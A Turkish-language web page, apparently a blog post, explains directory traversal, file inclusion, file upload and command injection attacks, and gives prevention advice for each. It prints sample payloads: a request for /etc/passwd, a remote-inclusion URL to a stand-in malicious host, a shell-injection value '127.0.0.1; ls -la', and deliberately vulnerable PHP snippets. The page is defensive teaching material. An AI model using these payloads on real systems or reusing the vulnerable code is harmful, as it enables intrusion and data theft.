TR | EN | DE | Our Site

Web Uygulama Saldırıları

Yaygın Web Uygulama Saldırıları

    Web uygulamaları, erişilebilirlikleri ve sıklıkla işledikleri hassas veriler nedeniyle saldırganlar tarafından giderek daha fazla hedef alınmaktadır. 

Dizin Gezintisi

Genel bakış

    Dizin geçişi, yol geçişi olarak da bilinir, bir saldırganın bir web uygulamasının amaçlanan dizin yapısı dışında depolanan dosyalara ve dizinlere erişmesine olanak tanıyan bir güvenlik açığıdır. Giriş parametrelerini değiştirerek, bir saldırgan hassas dosyalara erişmek için dosya sisteminde gezinebilir.

Nasıl Çalışır

    Saldırı genellikle dizin ağacında yukarı doğru hareket etmek için (nokta-nokta-eğik çizgi) gibi dizileri kullanmayı içerir. Örneğin, bir web uygulamasının görüntülenecek bir dosyayı belirten bir URL parametresi varsa, örneğin:../

metin
GET /view?file=report.txt

Bir saldırgan isteği şu şekilde değiştirebilir:

metin
GET /view?file=../../etc/passwd

Bu istek , Unix tabanlı sistemlerdeki dosyaya erişmeye çalışır ve bu da kullanıcı hesaplarına ilişkin hassas bilgilerin ifşa edilmesine neden olabilir./etc/passwd

Önleme Stratejileri

  1. Giriş Doğrulaması:
    • Kullanıcı girdilerinin sıkı doğrulamasını uygulayın. Yalnızca önceden tanımlanmış dosya adlarına izin verilen bir beyaz liste yaklaşımı kullanın.
    • Geçerli dosya adı kalıplarını zorunlu kılmak için düzenli ifadeler kullanılabilir.
  2. Kanonik Yol Doğrulaması:
    • Kullanıcı tarafından sağlanan dosya adlarının mutlak yolunu çözün ve beklenen temel dizinle başladığından emin olun.
    • Yolları doğrulamak için PHP'deki veya diğer dillerdeki benzer fonksiyonları kullanın .realpath()
  3. Erişim Kontrol Listeleri (ACL'ler):
    • Kullanıcı rollerine göre erişimi sınırlamak için dosya ve dizinlere katı izinler ayarlayın.
    • Hassas dosyalara web sunucusu üzerinden erişilemediğinden emin olun.

Dosya Dahil Etme Güvenlik Açıkları

Genel bakış

    Dosya dahil etme güvenlik açıkları, bir uygulama kullanıcıların uygun doğrulama veya kısıtlamalar olmadan sunucunun dosya sisteminden dosya eklemesine izin verdiğinde ortaya çıkar. Bu, bir saldırganın yerel sunucudan dosya eklemesi anlamına gelen Yerel Dosya Dahil Etme (LFI) veya bir saldırganın harici sunuculardan dosya eklemesi anlamına gelen Uzak Dosya Dahil Etme (RFI) ile sonuçlanabilir.

Nasıl Çalışır

Kullanıcı tarafından belirtilen dosyaları içeren bir PHP uygulamasını düşünün:

php
include($_GET['file']);

Eğer bir saldırgan şuna benzer bir URL sağlarsa:

metin
GET /page.php?file=../../config.php

Bu, veritabanı kimlik bilgilerini içeren hassas yapılandırma dosyalarını eklemelerine olanak tanıyabilir.RFI senaryolarında, uzaktan dosya ekleme etkinleştirilirse, bir saldırgan şunları kullanabilir:

metin
GET /page.php?file=http://malicious.com/malware.php

Bu, harici bir sunucuda barındırılan kötü amaçlı kodun çalıştırılmasına neden olur.

Önleme Stratejileri

  1. Beyaz Liste Dosya Adları:
    • Dahil edilebilecek izin verilen dosyaların bir listesini tutun ve kullanıcı girdisini bu listeye göre doğrulayın.
    • Keyfi girdilere izin vermek yerine dosya yolları için sabitler veya yapılandırma ayarları kullanın.
  2. Include İfadelerinde Kullanıcı Girişinden Kaçının:
    • Kullanıcı tarafından sağlanan girdiyi doğrudan eklemek yerine, önceden tanımlanmış şablonları veya statik dosyaları kullanmayı düşünün.
    • Kullanıcı girdisini sistem düzeyindeki komutlardan ayıran mantığı uygulayın.
  3. Hata İşleme:
    • Kullanıcılara ayrıntılı hata mesajlarının gösterilmesini önlemek için sağlam hata işleme uygulayın.
    • Hassas bilgilerinizi ifşa etmeden, hataları ayıklamak için güvenli bir şekilde günlüğe kaydedin.

Dosya Yükleme Güvenlik Açıkları

Genel bakış

    Dosya yükleme güvenlik açıkları, bir uygulama kullanıcıların içeriklerinin veya türlerinin yeterli doğrulaması olmadan dosya yüklemesine izin verdiğinde ortaya çıkar. Bu, sunucuda kötü amaçlı dosyaların yürütülmesine yol açabilir ve veri ihlallerine veya sunucunun tehlikeye girmesine neden olabilir.

Nasıl Çalışır

Bir web uygulaması sıkı denetimler olmadan dosya yüklemelerini kabul ettiğinde, bir saldırgan zararsız bir dosya türü (örneğin, bir resim) olarak gizlenmiş bir betik yükleyebilir. Örneğin:

xml
<form action="upload.php" method="post" enctype="multipart/form-data"> <input type="file" name="userfile"> <input type="submit" value="Upload"> </form>

Yüklenen dosya türü doğru bir şekilde doğrulanmazsa , saldırgan web sunucusu üzerinden erişilerek çalıştırılabilen adlı bir PHP kabuk betiği yükleyebilir  .upload.phpshell.php

Önleme Stratejileri

  1. Dosya Türü Doğrulaması:
    • Kabul edilebilir türlerin (örneğin, ) bulunduğu bir beyaz listeye göre hem dosya uzantılarını hem de MIME türlerini kontrol edin. ' .jpg ' '.png'
    • Yüklenen dosyaların gerçek içeriğini doğrulamak için PHP'dekine benzer fonksiyonları kullanın ' .finfo_file()'
  2. İçerik Tarama:
    • Yüklenen dosyaları işlemeden önce antivirüs yazılımları veya kütüphaneleri kullanarak kötü amaçlı yazılımlara karşı tarayın.
    • Kötü amaçlı içeriklere karşı dosya tarama konusunda uzmanlaşmış hizmetleri kullanmayı düşünün.
  3. Yürütme İzinlerini Kısıtla:
    • Yüklenen dosyaları yürütme izinleri olmayan dizinlerde (örneğin, web kökünün dışında) saklayın.
    • Yüklenen dosyaları yeniden adlandırın ve öngörülebilir URL'ler üzerinden doğrudan erişimi önlemek için bunları benzersiz tanımlayıcılarla saklayın.

Komut Enjeksiyonu

Genel bakış

    Komut enjeksiyonu güvenlik açıkları, saldırganların komut yürütme işlevlerine kötü amaçlı girdi enjekte ederek sunucuda keyfi komutlar yürütmesine olanak tanır. Bu, yetkisiz erişime, veri kaybına veya sistemin tamamen tehlikeye atılmasına yol açabilir.

Nasıl Çalışır

Bir web uygulamasının uygun bir temizleme işlemi yapmadan sistem komutlarında kullanıcı girdisini kullandığı bir senaryoyu ele alalım:

php
$host = $_GET['host']; system("ping " . $host);

Bir saldırgan, şu tür girdiler sağlayarak bunu suistimal edebilir:

metin
127.0.0.1; ls -la

Bu hem ping komutunu çalıştırır hem de kabuk komutunun yorumlanması nedeniyle dizin içeriklerini listeler.

Önleme Stratejileri

  1. Giriş Dezenfeksiyonu:
    • Kullanıcı girdilerini sistem komutlarında kullanmadan önce her zaman temizleyin ve doğrulayın.
    • Kullanılan programlama diline özgü kaçış fonksiyonlarını kullanın (örneğin PHP'de).escapeshellarg()
  2. Güvenli API'leri kullanın:
    • Mümkün olduğunca doğrudan komut yürütmeyi soyutlayan üst düzey API'leri tercih edin.
    • Örneğin, kabuk komutlarını doğrudan yürütmek yerine ağ istekleri için yerleşik kitaplıkları kullanın.
  3. En Az Ayrıcalık İlkesi:
    • Uygulamaları işlevleri için gereken en az izinlerle çalıştırın.
    • Başarılı saldırıların olası etkisini azaltmak için sistemle etkileşimde bulunan kullanıcılar ve işlemler için erişim haklarını sınırlayın.

Çözüm

Bu yaygın web uygulaması saldırılarını anlamak, güvenli uygulamalar geliştirmek için olmazsa olmazdır. Sağlam doğrulama tekniklerini, sıkı erişim kontrollerini uygulayarak ve yukarıda belirtilen en iyi uygulamaları takip ederek, kuruluşlar bu riskleri önemli ölçüde azaltabilir ve sistemlerini olası tehditlerden koruyabilir. Düzenli güvenlik değerlendirmeleri ve güncellemeleri de gelişen saldırı vektörlerine karşı güçlü bir güvenlik duruşunu sürdürmek için önemlidir.



Yorum Gönder

Daha yeni Daha eski

İletişim Formu